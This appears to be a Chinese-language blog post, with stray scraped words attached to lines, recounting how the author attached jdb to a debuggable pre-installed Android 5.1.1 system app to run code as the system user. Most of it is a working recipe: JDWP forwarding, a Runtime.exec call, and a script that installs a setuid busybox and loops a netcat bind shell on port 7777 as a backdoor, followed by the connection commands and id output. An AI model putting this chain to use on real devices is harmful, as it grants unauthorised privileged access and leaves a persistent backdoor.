Android 5.1.1, Linux 3.10.49java
发现了一个原装的系统应用,竟然能够被调试,反正出如今Android Studio的可调式进程清单里,看来是DEBUG版本就那样稀里糊涂的烧到主板里了。 先查查看用户身份:android
pm dump com.example.app
里面可以看到用户身份是"system"。 原本一个run-as就能够转换成这个身份了的,shell
run-as com.example.app
可是报错说没有这个package,缘由不明。好几个能够调试的app里,有的可以run-as,有的不行。app
那就转向jdb的路子:tcp
$ adb forward tcp:18600 jdwp:那个系统app的pid $ jdb -attach localhost:18600 > threads group system: (java.lang.Thread)0x2a86 Signal Catcher ... (java.lang.Thread)0x2a87 FinalizerWatchdogDaemon ... ... group main: (java.lang.Thread)0x2a8d main ... (java.lang.Thread)0x2a8e Binder_1 ... ... > thread 0x2a8d main[1] stepi > /*执行到这里后,打开手机动一下那个app触发调试器*/ stepi completed: "thread=main", android.os.MessageQueue.next()、row=145 bci=22 /*而后再输入print new...命令运行一个脚本以便启动一个shell server侦听7777端口*/ main[1] > print new java.lang.Runtime().exec("sh /sdcard/qj.sh")
只是有几个/sdcard/...文件得事先传到手机上。 /sdcard/qj.sh:ui
date > /sdcard/log cp -f /sdcard/busybox /data/ 2>> /sdcard/log || exit 1 chmod 4777 /data/busybox 2>> /sdcard/log || exit 1 (while true; do /data/busybox nc -l -p 7777 -e sh; done) >> /sdcard/log 2>&1 & echo server OK >> /sdcard/log
/sdcard/busybox:.net
[从这里下载](http://busybox.net/downloads/binaries/latest), 通常选armv7就好了。
而后用nc连上7777端口就能够连上后门shell server,输入任何命令都会以system身份之行。调试
adb forward tcp:7777 tcp:7777 nc localhost 7777
但是搞到手后发现离root还差一点,不可以改写/system下的东西,也不能mount。可以改/data下的东西,也颇有用,看看后面能不能找到方法升级成root。code
id命令的结果:server
uid=1000(system) gid=1000(system) groups=1000(system) 1007(log) 1010(wifi) 1015(sdcard_rw) 1021(gps) 1023(media_rw) 1028(sdcard_r) 3001(net_bt_admin) 3002(net_bt) 3003(inet) 3004(net_raw) 3005(net_admin) 3006(net_bw_stats) 3009(qcom_diag) 9997(everybody) 41000(u0_a31000) context=u:r:system_app:s0